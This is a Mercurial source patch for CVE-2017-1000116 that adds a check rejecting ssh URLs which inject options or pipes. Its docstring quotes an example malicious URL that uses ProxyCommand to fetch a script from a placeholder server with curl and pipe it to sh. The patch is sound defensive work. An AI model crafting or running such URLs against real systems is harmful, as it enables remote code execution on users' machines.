File CVE-2017-1000116-0002.patch of Package mercurial.11266

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File CVE-2017-1000116-0002.patch of Package mercurial.11266

# HG changeset patch
# User Sean Farley <sean@farley.io>
# Date 1501284745 25200
#      Fri Jul 28 16:32:25 2017 -0700
# Branch stable
# Node ID 53224b1ffbc2438941e8e50375f532f2603c8f0f
# Parent  20bac46f7744494507a0dde8dd606b440d9df439
util: add utility method to check for bad ssh urls (SEC)

Our use of SSH has an exploit that will parse the first part of an url
blindly as a hostname. Prior to this set of security patches, a url
with '-oProxyCommand' could run arbitrary code on a user's machine. In
addition, at least on Windows, a pipe '|' can be abused to execute
arbitrary commands in a similar fashion.

We defend against this by checking ssh:// URLs and looking for a
hostname that starts with a - or contains a |.

When this happens, let's throw a big abort into the user's face so
that they can inspect what's going on.

---
 mercurial/util.py |   15 +++++++++++++++
 1 file changed, 15 insertions(+)

--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -1884,6 +1884,21 @@ def hasdriveletter(path):
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
+def checksafessh(path):
+    """check if a path / url is a potentially unsafe ssh exploit (SEC)
+
+    This is a sanity check for ssh urls. ssh will parse the first item as
+    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
+    Let's prevent these potentially exploited urls entirely and warn the
+    user.
+
+    Raises an error.Abort when the url is unsafe.
+    """
+    path = urllib.unquote(path)
+    if path.startswith('ssh://-') or '|' in path:
+        raise error.Abort(_('potentially unsafe url: %r') %
+                          (path,))
+
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)

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